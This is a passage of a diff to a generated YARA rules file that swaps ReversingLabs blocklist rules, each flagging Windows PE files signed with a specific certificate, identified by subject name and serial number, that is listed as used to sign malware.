and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EVATON, s.r.o." and pe.signatures [ i ] . serial == "0e:6f:4c:b8:b0:6e:01:c3:bd:29:6a:ce:3a:95:f8:14" and 1603957781 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E01407871E2146C9Baab1Ae7Ab8Ab172 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_085B70224253486624Fc36Fa658A1E32 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "229772ae-68a2-566b-bf61-988cb41d7d8f" + id = "7d27604e-4ecd-559c-9180-4914e7f1f6c9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12836-L12854" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6846-L6862" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1801e7f15bd5f916fc08d263a845d296d334ca9de1040008f619719c1b5c0a3b" + logic_hash = "50ff48a421a109f8c6bf92032691d9b673945bc591005004ff17dc18c97d4aea" score = 75 quality = 90 tags = "INFO, FILE" @@ -24197,21 +46591,21 @@ rule REVERSINGLABS_Cert_Blocklist_E01407871E2146C9Baab1Ae7Ab8Ab172 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOV Intalev Ukraina" and ( pe.signatures [ i ] . serial == "00:e0:14:07:87:1e:21:46:c9:ba:ab:1a:e7:ab:8a:b1:72" or pe.signatures [ i ] . serial == "e0:14:07:87:1e:21:46:c9:ba:ab:1a:e7:ab:8a:b1:72" ) and 1464220800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Best Fud, OOO" and pe.signatures [ i ] . serial == "08:5b:70:22:42:53:48:66:24:fc:36:fa:65:8a:1e:32" and 1597971601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Effc6D19D6Fc85872E4E5B3Ccee6D301 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_51Cd5393514F7Ace2B407C3Dbfb09D8D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "56114e31-2e9b-5d16-8435-708bbb2687cc" + id = "ac86893f-2edd-5f1c-96eb-4cb140e8e001" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12856-L12874" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6864-L6880" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a746c4193f1264cb96eae0ea85c2c76b5caf3b72ca950f76af426b4d68d210b3" + logic_hash = "4cd08b9113a7c1f4f2d438ac59ad0be503daded3a08b8c8e8ce3e0dfdddf259e" score = 75 quality = 90 tags = "INFO, FILE" @@ -24221,21 +46615,21 @@ rule REVERSINGLABS_Cert_Blocklist_Effc6D19D6Fc85872E4E5B3Ccee6D301 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C\\xC3\\x93IR IP LIMITED" and ( pe.signatures [ i ] . serial == "00:ef:fc:6d:19:d6:fc:85:87:2e:4e:5b:3c:ce:e6:d3:01" or pe.signatures [ i ] . serial == "ef:fc:6d:19:d6:fc:85:87:2e:4e:5b:3c:ce:e6:d3:01" ) and 1572307200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "APPI CZ a.s" and pe.signatures [ i ] . serial == "51:cd:53:93:51:4f:7a:ce:2b:40:7c:3d:bf:b0:9d:8d" and 1605299467 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2F4A25D52B16Eb4C9Dfe71Ebbd8121Bb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B72179C027B9037Ee220E81Ab18Fe56D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1afd5d2b-fd6d-58ca-b966-788d465cd0ed" + id = "85639e74-80b0-59c6-b31b-5b3d9587b37a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12876-L12892" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6882-L6900" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7b237ae0574afeafcc05f71512c09d3170edbee20e512a1b0af5b431923dc25c" + logic_hash = "1416768011ff824307d112bdeecce1ad50d1f673e92bef8fddbbeb58ff98b1b1" score = 75 quality = 90 tags = "INFO, FILE" @@ -24245,21 +46639,21 @@ rule REVERSINGLABS_Cert_Blocklist_2F4A25D52B16Eb4C9Dfe71Ebbd8121Bb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Blist LLC" and pe.signatures [ i ] . serial == "2f:4a:25:d5:2b:16:eb:4c:9d:fe:71:eb:bd:81:21:bb" and 1629763200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Planeta, TOV" and ( pe.signatures [ i ] . serial == "00:b7:21:79:c0:27:b9:03:7e:e2:20:e8:1a:b1:8f:e5:6d" or pe.signatures [ i ] . serial == "b7:21:79:c0:27:b9:03:7e:e2:20:e8:1a:b1:8f:e5:6d" ) and 1603381300 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6889Aab6202Bcc5F11Caedf4D04F435B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_07B74C70C4Aa092648B7F0D1A8A3A28F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d4499a1d-aa8d-5056-ad91-439f27f00c33" + id = "f941b7d6-f168-57aa-881a-54679a2b948c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12894-L12910" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6902-L6918" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b2261ed8001929be8f80f73cc0c5076138f4794c73cbffd63773da5fc44639a8" + logic_hash = "97759fa2e519936115f0493e251f9abc0cce3ada437776a5a370388512235491" score = 75 quality = 90 tags = "INFO, FILE" @@ -24269,21 +46663,21 @@ rule REVERSINGLABS_Cert_Blocklist_6889Aab6202Bcc5F11Caedf4D04F435B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C4DL Media" and pe.signatures [ i ] . serial == "68:89:aa:b6:20:2b:cc:5f:11:ca:ed:f4:d0:4f:43:5b" and 1231891200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rad-Grad D.O.O." and pe.signatures [ i ] . serial == "07:b7:4c:70:c4:aa:09:26:48:b7:f0:d1:a8:a3:a2:8f" and 1603240965 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3Be63083Fbb1787B445Da97583721419 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4C8Def294478B7D59Ee95C61Fae3D965 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6839595d-b645-5963-bd96-a668bfdd667f" + id = "549249df-690c-5b75-ac1a-77b509c9e163" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12912-L12928" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6920-L6936" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f39f5a632544bc01c3b4c9e2f2dd33f7109c44375f54011a34181e10da79debc" + logic_hash = "3b7b10afa5f0212bd494ba8fe32bef18f2bbd77c8ab2ad498b9557a0575cc177" score = 75 quality = 90 tags = "INFO, FILE" @@ -24293,21 +46687,21 @@ rule REVERSINGLABS_Cert_Blocklist_3Be63083Fbb1787B445Da97583721419 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"SMART GREY\" LLC" and pe.signatures [ i ] . serial == "3b:e6:30:83:fb:b1:78:7b:44:5d:a9:75:83:72:14:19" and 1493942400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DREAM SECURITY USA INC" and pe.signatures [ i ] . serial == "4c:8d:ef:29:44:78:b7:d5:9e:e9:5c:61:fa:e3:d9:65" and 1592961292 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6E2D3449272B6B96B8B9F728E87580D5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7D36Cbb64Bc9Add17Ba71737D3Ecceca : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6975acb9-3b37-51f5-8b4d-0d1a090a18e2" + id = "ce10840c-150d-5ecd-ab9a-7bc96092ebfd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12930-L12946" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6938-L6954" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0155a8c71bf8426bbb980798772b04c145df5b8c4b60ff1a610a1236a47547ef" + logic_hash = "5874860582ed5be6908dca38e6ecae831eeeb0c2b768e8065ada9fd5ac2bda89" score = 75 quality = 90 tags = "INFO, FILE" @@ -24317,21 +46711,21 @@ rule REVERSINGLABS_Cert_Blocklist_6E2D3449272B6B96B8B9F728E87580D5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RADIANT, OOO" and pe.signatures [ i ] . serial == "6e:2d:34:49:27:2b:6b:96:b8:b9:f7:28:e8:75:80:d5" and 1421107200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LTD SERVICES LIMITED" and pe.signatures [ i ] . serial == "7d:36:cb:b6:4b:c9:ad:d1:7b:a7:17:37:d3:ec:ce:ca" and 1616025600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_268C0D7028A154Ac3B6349C5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ad255D4Ebefa751F3782587396C08629 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0e18d9ef-e861-5583-a2a3-5f54fae8d813" + id = "e42d2881-efda-5aa0-b455-dabbd3a77e97" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12948-L12964" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6956-L6974" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8311b36f008e31b7ac27b439fa46da4c90ab4be6c7c89426f8e1939963bc3d7d" + logic_hash = "43f44cbedf37094416628c9df23767be3b036519f93222812597777a146ecb24" score = 75 quality = 90 tags = "INFO, FILE" @@ -24341,21 +46735,21 @@ rule REVERSINGLABS_Cert_Blocklist_268C0D7028A154Ac3B6349C5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "26:8c:0d:70:28:a1:54:ac:3b:63:49:c5" and 1474266712 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Ornitek" and ( pe.signatures [ i ] . serial == "00:ad:25:5d:4e:be:fa:75:1f:37:82:58:73:96:c0:86:29" or pe.signatures [ i ] . serial == "ad:25:5d:4e:be:fa:75:1f:37:82:58:73:96:c0:86:29" ) and 1614643200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2Daa8D629Cc0410A9482E62A0F8Bf8Fc : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_262Ca7Ae19D688138E75932832B18F9D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "71e627d9-0892-5501-8189-26eae36b7965" + id = "7151fd62-7f6c-59d7-800b-65e5b4db279b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12966-L12982" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6976-L6992" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cfb2631bc1832f65fb9d77c812bf2a1e05121e825254bd57ae8b21e7b10b2344" + logic_hash = "a5bb946c6199cd47a087ac26f0a996261318d1830191ea7c0e7797ff03984558" score = 75 quality = 90 tags = "INFO, FILE" @@ -24365,21 +46759,21 @@ rule REVERSINGLABS_Cert_Blocklist_2Daa8D629Cc0410A9482E62A0F8Bf8Fc : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DON'T MISS A WORD LIMITED" and pe.signatures [ i ] . serial == "2d:aa:8d:62:9c:c0:41:0a:94:82:e6:2a:0f:8b:f8:fc" and 1543449600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bisoyetutu Ltd Ltd" and pe.signatures [ i ] . serial == "26:2c:a7:ae:19:d6:88:13:8e:75:93:28:32:b1:8f:9d" and 1616025600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9A727E200Ea76570 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_59A57E8Ba3Dcf2B6F59981Fda14B03 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d133dac3-3959-50f0-913e-b279ca6a1c2c" + id = "12c80895-57fd-5341-b3ef-d59c25d4c234" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12984-L13002" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6994-L7010" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "337dc486f2bdca1f7682887d5e5c0f82961850a8fd9c9a20b9a43a75334070d8" + logic_hash = "6e77c7d0bd7e5e9bc8880cc6ffc3f5f4f738e3dde22c270ad7a6f6672a99de53" score = 75 quality = 90 tags = "INFO, FILE" @@ -24389,21 +46783,21 @@ rule REVERSINGLABS_Cert_Blocklist_9A727E200Ea76570 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Alexsandro Da Rosa - ME" and ( pe.signatures [ i ] . serial == "00:9a:72:7e:20:0e:a7:65:70" or pe.signatures [ i ] . serial == "9a:72:7e:20:0e:a7:65:70" ) and 1539056530 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Medium LLC" and pe.signatures [ i ] . serial == "59:a5:7e:8b:a3:dc:f2:b6:f5:99:81:fd:a1:4b:03" and 1609113600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0954A3C876Df9262Cde5817F9870F0C6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Aebe117A13B8Bca21685Df48C74F584D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "89f3a334-cd2f-51b9-83b2-2baca3c59ba5" + id = "ec525737-9770-585e-922a-43f14e0a4a37" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13004-L13020" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7012-L7030" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "164b064a9df31d4a122236dfee7b713417a44d47a7f304b2bf55686a7f038feb" + logic_hash = "e7fbc1f32adec39c94dc046933e152cd6d3946da4a168306484b7b6bc7f26fb6" score = 75 quality = 90 tags = "INFO, FILE" @@ -24413,21 +46807,21 @@ rule REVERSINGLABS_Cert_Blocklist_0954A3C876Df9262Cde5817F9870F0C6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dialer Access" and pe.signatures [ i ] . serial == "09:54:a3:c8:76:df:92:62:cd:e5:81:7f:98:70:f0:c6" and 1160438400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NANAX d.o.o." and ( pe.signatures [ i ] . serial == "00:ae:be:11:7a:13:b8:bc:a2:16:85:df:48:c7:4f:58:4d" or pe.signatures [ i ] . serial == "ae:be:11:7a:13:b8:bc:a2:16:85:df:48:c7:4f:58:4d" ) and 1613520000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3C30930E53Bb026F9A5D7440155F7118 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Dcd19A94535F034Ee36Af4676740633 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ad7d8be0-ecb1-508f-bfce-7a5cecfd4e2f" + id = "c09778b6-17c9-5b24-8977-1bd998083c23" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13022-L13038" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7032-L7048" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "260a58669043d21ee0ffccbdee95c9d04ef338497685d42f1951660f658a164d" + logic_hash = "7079d4f1973ad4de21e1f88282c94b11c4d63f8bad12b35ef76a481e154d9da3" score = 75 quality = 90 tags = "INFO, FILE" @@ -24437,21 +46831,21 @@ rule REVERSINGLABS_Cert_Blocklist_3C30930E53Bb026F9A5D7440155F7118 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CPM Media, Ltd." and pe.signatures [ i ] . serial == "3c:30:93:0e:53:bb:02:6f:9a:5d:74:40:15:5f:71:18" and 1064534400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Toko Saya ApS" and pe.signatures [ i ] . serial == "7d:cd:19:a9:45:35:f0:34:ee:36:af:46:76:74:06:33" and 1609200000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_432Eefc0D4Dc0326Eb277A518Cc4310A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ca4822E6905Aa4Fca9E28523F04F14A3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "eeccb477-0bf7-5b79-94df-710e6e0db78f" + id = "004454a0-20f9-58f5-8c24-8097f7586c5b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13040-L13056" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7050-L7068" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d5a0b7f19f66f18b5ef1c548276b675ead74fed6be94310c303bfad6c85f18be" + logic_hash = "9633f3494e9ece3a698d47c5ba2b7ee7f82cee4be36ac418c969c36285c4963c" score = 75 quality = 90 tags = "INFO, FILE" @@ -24461,21 +46855,21 @@ rule REVERSINGLABS_Cert_Blocklist_432Eefc0D4Dc0326Eb277A518Cc4310A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "43:2e:ef:c0:d4:dc:03:26:eb:27:7a:51:8c:c4:31:0a" and 1466121600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ELISTREID, OOO" and ( pe.signatures [ i ] . serial == "00:ca:48:22:e6:90:5a:a4:fc:a9:e2:85:23:f0:4f:14:a3" or pe.signatures [ i ] . serial == "ca:48:22:e6:90:5a:a4:fc:a9:e2:85:23:f0:4f:14:a3" ) and 1614643200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_470D6Ce21A6940320261F09E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_24C1Ef800F275Ab2780280C595De3464 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "00b92b5d-59e3-5aae-954d-a90bd8cc1370" + id = "251212a5-95ce-5d9f-aec0-e6d3dd099349" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13058-L13074" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7070-L7086" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cae1d381bf2018a0ce56feb245d01f2bfea55b67894264d32d78dbb41873c792" + logic_hash = "7536ec92f388234bea3b33bee4af52e0e0ce9cd86b1c8321a503f70bfe5faa76" score = 75 quality = 90 tags = "INFO, FILE" @@ -24485,21 +46879,21 @@ rule REVERSINGLABS_Cert_Blocklist_470D6Ce21A6940320261F09E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "47:0d:6c:e2:1a:69:40:32:02:61:f0:9e" and 1474523038 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HOLGAN LIMITED" and pe.signatures [ i ] . serial == "24:c1:ef:80:0f:27:5a:b2:78:02:80:c5:95:de:34:64" and 1614729600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7E6Bc7E5A49E2C28E6F5D042 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6401831B46588B9D872B02076C3A7B00 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a7b815d9-e247-5de1-9bcb-96294b3b91c0" + id = "61b67e68-9e15-5848-b12a-437a0ad8399e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13076-L13092" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7088-L7104" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f378c490ff4f32fc095c822f75abac44a8d94327404cd97546c63e7441e07632" + logic_hash = "cb84b27391fa0260061bc5444039967e83f2134f7b56f9cccf6a421d4a65a577" score = 75 quality = 90 tags = "INFO, FILE" @@ -24509,21 +46903,21 @@ rule REVERSINGLABS_Cert_Blocklist_7E6Bc7E5A49E2C28E6F5D042 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shang Hai Jian Ji Wang Luo Ke Ji You Xian Gong Si" and pe.signatures [ i ] . serial == "7e:6b:c7:e5:a4:9e:2c:28:e6:f5:d0:42" and 1560995284 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ACTIV GROUP ApS" and pe.signatures [ i ] . serial == "64:01:83:1b:46:58:8b:9d:87:2b:02:07:6c:3a:7b:00" and 1615507200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4C5020899147C850196C4Ebf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A01A91Cce63Ede5Eaa3Dac4883Aea05 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8ac60604-6548-5f11-bf89-ec7e927b20f7" + id = "a1efbce8-3cca-5e07-a652-d67007c72a18" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13094-L13110" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7106-L7122" license_url = 